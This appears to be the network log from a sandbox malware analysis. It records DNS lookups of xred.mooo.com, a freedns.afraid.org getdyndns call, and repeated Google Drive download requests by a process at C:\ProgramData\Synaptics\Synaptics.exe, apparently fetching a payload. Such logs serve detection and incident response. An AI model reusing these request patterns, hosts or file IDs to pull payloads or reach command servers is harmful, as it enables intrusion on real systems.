Jan 2, 2025 20:29:51.011542082 CET	50297	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:29:51.011584044 CET	443	50297	216.58.206.78	192.168.2.7
Jan 2, 2025 20:29:51.011636972 CET	50297	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:29:51.012387037 CET	443	50297	216.58.206.78	192.168.2.7
Jan 2, 2025 20:29:51.012438059 CET	443	50297	216.58.206.78	192.168.2.7
Jan 2, 2025 20:29:51.012445927 CET	50297	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:29:51.012475967 CET	50297	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:29:51.177910089 CET	443	50299	216.58.206.78	192.168.2.7
Jan 2, 2025 20:29:51.177993059 CET	50299	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:29:51.178657055 CET	443	50299	216.58.206.78	192.168.2.7
Jan 2, 2025 20:29:51.178733110 CET	50299	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:29:51.264255047 CET	443	50300	142.250.186.129	192.168.2.7
Jan 2, 2025 20:29:51.264311075 CET	50300	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:30:11.454021931 CET	50300	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:30:11.454056978 CET	443	50300	142.250.186.129	192.168.2.7
Jan 2, 2025 20:30:11.454205036 CET	50297	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:30:11.454229116 CET	443	50297	216.58.206.78	192.168.2.7
Jan 2, 2025 20:30:11.454633951 CET	50300	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:30:11.454642057 CET	443	50300	142.250.186.129	192.168.2.7
Jan 2, 2025 20:30:11.457601070 CET	50314	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:30:11.457642078 CET	443	50314	216.58.206.78	192.168.2.7
Jan 2, 2025 20:30:11.457796097 CET	50314	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:30:11.462340117 CET	50314	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:30:11.462373018 CET	443	50314	216.58.206.78	192.168.2.7
Jan 2, 2025 20:30:11.793809891 CET	443	50300	142.250.186.129	192.168.2.7
Jan 2, 2025 20:30:11.793858051 CET	443	50300	142.250.186.129	192.168.2.7
Jan 2, 2025 20:30:11.793906927 CET	50300	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:30:11.793929100 CET	443	50300	142.250.186.129	192.168.2.7
Jan 2, 2025 20:30:11.793941021 CET	50300	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:30:11.793966055 CET	50300	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:30:11.793970108 CET	443	50300	142.250.186.129	192.168.2.7
Jan 2, 2025 20:30:11.793979883 CET	443	50300	142.250.186.129	192.168.2.7
Jan 2, 2025 20:30:11.794003963 CET	50300	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:30:11.794023037 CET	50300	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:30:12.229928970 CET	443	50314	216.58.206.78	192.168.2.7
Jan 2, 2025 20:30:12.230005980 CET	50314	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:30:27.416805983 CET	49738	80	192.168.2.7	69.42.215.252
Jan 2, 2025 20:30:27.421319962 CET	50299	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:30:27.421350956 CET	50298	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:30:27.421351910 CET	50314	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:30:27.421577930 CET	50300	443	192.168.2.7	142.250.186.129

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 2, 2025 20:28:45.247092009 CET	54122	53	192.168.2.7	1.1.1.1
Jan 2, 2025 20:28:45.254236937 CET	53	54122	1.1.1.1	192.168.2.7
Jan 2, 2025 20:28:46.115567923 CET	53384	53	192.168.2.7	1.1.1.1
Jan 2, 2025 20:28:46.123019934 CET	53	53384	1.1.1.1	192.168.2.7
Jan 2, 2025 20:28:46.126082897 CET	61409	53	192.168.2.7	1.1.1.1
Jan 2, 2025 20:28:46.132945061 CET	53	61409	1.1.1.1	192.168.2.7
Jan 2, 2025 20:28:46.319729090 CET	63283	53	192.168.2.7	1.1.1.1
Jan 2, 2025 20:28:46.327032089 CET	53	63283	1.1.1.1	192.168.2.7
Jan 2, 2025 20:28:52.662961006 CET	60735	53	192.168.2.7	1.1.1.1
Jan 2, 2025 20:28:52.669975996 CET	53	60735	1.1.1.1	192.168.2.7
Jan 2, 2025 20:28:59.528233051 CET	54044	53	192.168.2.7	1.1.1.1
Jan 2, 2025 20:28:59.536026001 CET	53	54044	1.1.1.1	192.168.2.7
Jan 2, 2025 20:29:04.060674906 CET	49894	53	192.168.2.7	1.1.1.1
Jan 2, 2025 20:29:04.067717075 CET	53	49894	1.1.1.1	192.168.2.7
Jan 2, 2025 20:29:09.775012970 CET	51207	53	192.168.2.7	1.1.1.1
Jan 2, 2025 20:29:09.782500982 CET	53	51207	1.1.1.1	192.168.2.7
Jan 2, 2025 20:29:16.796025991 CET	52299	53	192.168.2.7	1.1.1.1
Jan 2, 2025 20:29:16.803419113 CET	53	52299	1.1.1.1	192.168.2.7
Jan 2, 2025 20:29:23.669487953 CET	64832	53	192.168.2.7	1.1.1.1
Jan 2, 2025 20:29:23.676872015 CET	53	64832	1.1.1.1	192.168.2.7
Jan 2, 2025 20:29:30.795108080 CET	51165	53	192.168.2.7	1.1.1.1
Jan 2, 2025 20:29:30.921506882 CET	53	51165	1.1.1.1	192.168.2.7
Jan 2, 2025 20:29:37.716289043 CET	56304	53	192.168.2.7	1.1.1.1
Jan 2, 2025 20:29:37.723759890 CET	53	56304	1.1.1.1	192.168.2.7
Jan 2, 2025 20:29:44.522197962 CET	60865	53	192.168.2.7	1.1.1.1
Jan 2, 2025 20:29:44.530414104 CET	53	60865	1.1.1.1	192.168.2.7
Jan 2, 2025 20:29:49.107078075 CET	51366	53	192.168.2.7	1.1.1.1
Jan 2, 2025 20:29:49.114979982 CET	53	51366	1.1.1.1	192.168.2.7

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 2, 2025 20:28:45.247092009 CET	192.168.2.7	1.1.1.1	0x8d73	Standard query (0)	docs.google.com	A (IP address)	IN (0x0001)	false
Jan 2, 2025 20:28:46.115567923 CET	192.168.2.7	1.1.1.1	0xd04e	Standard query (0)	xred.mooo.com	A (IP address)	IN (0x0001)	false
Jan 2, 2025 20:28:46.126082897 CET	192.168.2.7	1.1.1.1	0x847e	Standard query (0)	freedns.afraid.org	A (IP address)	IN (0x0001)	false
Jan 2, 2025 20:28:46.319729090 CET	192.168.2.7	1.1.1.1	0x8b2b	Standard query (0)	drive.usercontent.google.com	A (IP address)	IN (0x0001)	false
Jan 2, 2025 20:28:52.662961006 CET	192.168.2.7	1.1.1.1	0x5e22	Standard query (0)	xred.mooo.com	A (IP address)	IN (0x0001)	false
Jan 2, 2025 20:28:59.528233051 CET	192.168.2.7	1.1.1.1	0x5784	Standard query (0)	xred.mooo.com	A (IP address)	IN (0x0001)	false
Jan 2, 2025 20:29:04.060674906 CET	192.168.2.7	1.1.1.1	0xd492	Standard query (0)	xred.mooo.com	A (IP address)	IN (0x0001)	false
Jan 2, 2025 20:29:09.775012970 CET	192.168.2.7	1.1.1.1	0xc4ca	Standard query (0)	xred.mooo.com	A (IP address)	IN (0x0001)	false
Jan 2, 2025 20:29:16.796025991 CET	192.168.2.7	1.1.1.1	0xfc9a	Standard query (0)	xred.mooo.com	A (IP address)	IN (0x0001)	false
Jan 2, 2025 20:29:23.669487953 CET	192.168.2.7	1.1.1.1	0xabb1	Standard query (0)	xred.mooo.com	A (IP address)	IN (0x0001)	false
Jan 2, 2025 20:29:30.795108080 CET	192.168.2.7	1.1.1.1	0xa8be	Standard query (0)	xred.mooo.com	A (IP address)	IN (0x0001)	false
Jan 2, 2025 20:29:37.716289043 CET	192.168.2.7	1.1.1.1	0x726f	Standard query (0)	xred.mooo.com	A (IP address)	IN (0x0001)	false
Jan 2, 2025 20:29:44.522197962 CET	192.168.2.7	1.1.1.1	0xa5f4	Standard query (0)	xred.mooo.com	A (IP address)	IN (0x0001)	false
Jan 2, 2025 20:29:49.107078075 CET	192.168.2.7	1.1.1.1	0x182b	Standard query (0)	xred.mooo.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 2, 2025 20:28:40.813858986 CET	1.1.1.1	192.168.2.7	0x1dc6	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	s-part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 2, 2025 20:28:40.813858986 CET	1.1.1.1	192.168.2.7	0x1dc6	No error (0)	s-part-0017.t-0009.t-msedge.net		13.107.246.45	A (IP address)	IN (0x0001)	false
Jan 2, 2025 20:28:45.254236937 CET	1.1.1.1	192.168.2.7	0x8d73	No error (0)	docs.google.com		216.58.206.78	A (IP address)	IN (0x0001)	false
Jan 2, 2025 20:28:46.123019934 CET	1.1.1.1	192.168.2.7	0xd04e	Name error (3)	xred.mooo.com	none	none	A (IP address)	IN (0x0001)	false
Jan 2, 2025 20:28:46.132945061 CET	1.1.1.1	192.168.2.7	0x847e	No error (0)	freedns.afraid.org		69.42.215.252	A (IP address)	IN (0x0001)	false
Jan 2, 2025 20:28:46.327032089 CET	1.1.1.1	192.168.2.7	0x8b2b	No error (0)	drive.usercontent.google.com		142.250.186.129	A (IP address)	IN (0x0001)	false
Jan 2, 2025 20:28:52.669975996 CET	1.1.1.1	192.168.2.7	0x5e22	Name error (3)	xred.mooo.com	none	none	A (IP address)	IN (0x0001)	false
Jan 2, 2025 20:28:59.536026001 CET	1.1.1.1	192.168.2.7	0x5784	Name error (3)	xred.mooo.com	none	none	A (IP address)	IN (0x0001)	false
Jan 2, 2025 20:29:04.067717075 CET	1.1.1.1	192.168.2.7	0xd492	Name error (3)	xred.mooo.com	none	none	A (IP address)	IN (0x0001)	false
Jan 2, 2025 20:29:09.782500982 CET	1.1.1.1	192.168.2.7	0xc4ca	Name error (3)	xred.mooo.com	none	none	A (IP address)	IN (0x0001)	false
Jan 2, 2025 20:29:16.803419113 CET	1.1.1.1	192.168.2.7	0xfc9a	Name error (3)	xred.mooo.com	none	none	A (IP address)	IN (0x0001)	false
Jan 2, 2025 20:29:23.676872015 CET	1.1.1.1	192.168.2.7	0xabb1	Name error (3)	xred.mooo.com	none	none	A (IP address)	IN (0x0001)	false
Jan 2, 2025 20:29:30.921506882 CET	1.1.1.1	192.168.2.7	0xa8be	Name error (3)	xred.mooo.com	none	none	A (IP address)	IN (0x0001)	false
Jan 2, 2025 20:29:37.723759890 CET	1.1.1.1	192.168.2.7	0x726f	Name error (3)	xred.mooo.com	none	none	A (IP address)	IN (0x0001)	false
Jan 2, 2025 20:29:44.530414104 CET	1.1.1.1	192.168.2.7	0xa5f4	Name error (3)	xred.mooo.com	none	none	A (IP address)	IN (0x0001)	false
Jan 2, 2025 20:29:48.212713957 CET	1.1.1.1	192.168.2.7	0xe02a	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	s-part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 2, 2025 20:29:48.212713957 CET	1.1.1.1	192.168.2.7	0xe02a	No error (0)	s-part-0017.t-0009.t-msedge.net		13.107.246.45	A (IP address)	IN (0x0001)	false
Jan 2, 2025 20:29:49.114979982 CET	1.1.1.1	192.168.2.7	0x182b	Name error (3)	xred.mooo.com	none	none	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

docs.google.com

drive.usercontent.google.com

freedns.afraid.org

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49738	69.42.215.252	80	4136	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2025 20:28:46.139233112 CET	154	OUT	GET /api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978 HTTP/1.1 User-Agent: MyApp Host: freedns.afraid.org Cache-Control: no-cache
Jan 2, 2025 20:28:46.764683962 CET	243	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 02 Jan 2025 19:28:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding X-Cache: MISS Data Raw: 31 66 0d 0a 45 52 52 4f 52 3a 20 43 6f 75 6c 64 20 6e 6f 74 20 61 75 74 68 65 6e 74 69 63 61 74 65 2e 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: 1fERROR: Could not authenticate.0

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49730	216.58.206.78	443	4136	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:28:45 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2025-01-02 19:28:46 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:28:46 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: script-src 'report-sample' 'nonce-YXa5I6prhVMJWENejiPbbg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.7	49731	216.58.206.78	443	4136	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:28:45 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2025-01-02 19:28:46 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:28:46 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: script-src 'report-sample' 'nonce-LXdDZXcs0bahE21UlmY8pw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.7	49739	216.58.206.78	443	4136	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:28:47 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2025-01-02 19:28:47 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:28:47 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: script-src 'report-sample' 'nonce-rpuZPc6JofLwGGZQuUhaXw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.7	49741	142.250.186.129	443	4136	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:28:47 UTC	186	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive
2025-01-02 19:28:47 UTC	1601	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC714OY6lN9GeZAqrrpU3d3lJD3AoLeb1qg5Bf9XfnRF4B3LX4WNDnq0j9ua3C0s4daz9iXqUUw Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:28:47 GMT P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info." Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-A3uh3cPYMgjzeORY3fSszg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Content-Length: 1652 Server: UploadServer Set-Cookie: NID=520=O3h5K0Mlym-rrLjhzGpk4j7uTinDx0L_6UzibdP1RDC_dxub7vgJKYEHbgEy2EUzTv6j_Scn4-yJmKWdQ7GPwv8A4sHSmxpOkYMPAnFnYaMPENGOIsuDmm1Y5WSmNZAxu3tfYoY7sv5Qty8H7UJa53mIoIRZkFIVFgAxzxyrueB1f-dHIGAb-TA; expires=Fri, 04-Jul-2025 19:28:47 GMT; path=/; domain=.google.com; HttpOnly Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-02 19:28:47 UTC	1601	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 4b 55 55 45 62 78 6f 48 70 43 63 44 5f 56 61 7a 4d 6e 4f 4e 47 41 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="KUUEbxoHpCcD_VazMnONGA">*{margin:0;padding:0}html,code{font:15px/22px arial
2025-01-02 19:28:47 UTC	51	IN	Data Raw: 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: his server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.7	49742	216.58.206.78	443	4136	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:28:47 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2025-01-02 19:28:47 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:28:47 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: script-src 'report-sample' 'nonce-4CT4m8gkTyZip6c9jMtQSA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.7	49740	142.250.186.129	443	4136	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:28:47 UTC	186	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive
2025-01-02 19:28:47 UTC	1595	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC6y-NqeDsV2q-e1p0fryf_bqdAU3yzpjGLdcNLadSpNmd_4bFDyqGS45XIawW61yq2- Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:28:47 GMT P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info." Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-SQEE3XChO5OufOScLviPgQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Length: 1652 Server: UploadServer Set-Cookie: NID=520=Z8ISdsaDgeQ-R92528VnVtLURB30Y38-aVS--eidvIefqkCEPr3CIShwBqvQNChxi78jJs_B6El_WOypI3n11rvYfqf5fJH8w9cnwSg4NbUzFQTFVkPa-k6AAbvGWHeJ6bZIGGecF_hCji0wmUDxwNYOPzmKmt0jaFEwuZae5k0dUpTZ8SV0SQRO; expires=Fri, 04-Jul-2025 19:28:47 GMT; path=/; domain=.google.com; HttpOnly Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-02 19:28:47 UTC	1595	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 4a 44 36 32 4c 30 6b 68 31 5f 4a 6c 33 73 39 78 6b 4c 35 34 63 77 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="JD62L0kh1_Jl3s9xkL54cw">*{margin:0;padding:0}html,code{font:15px/22px arial
2025-01-02 19:28:47 UTC	57	IN	Data Raw: 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: d on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.7	49749	216.58.206.78	443	4136	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:28:48 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
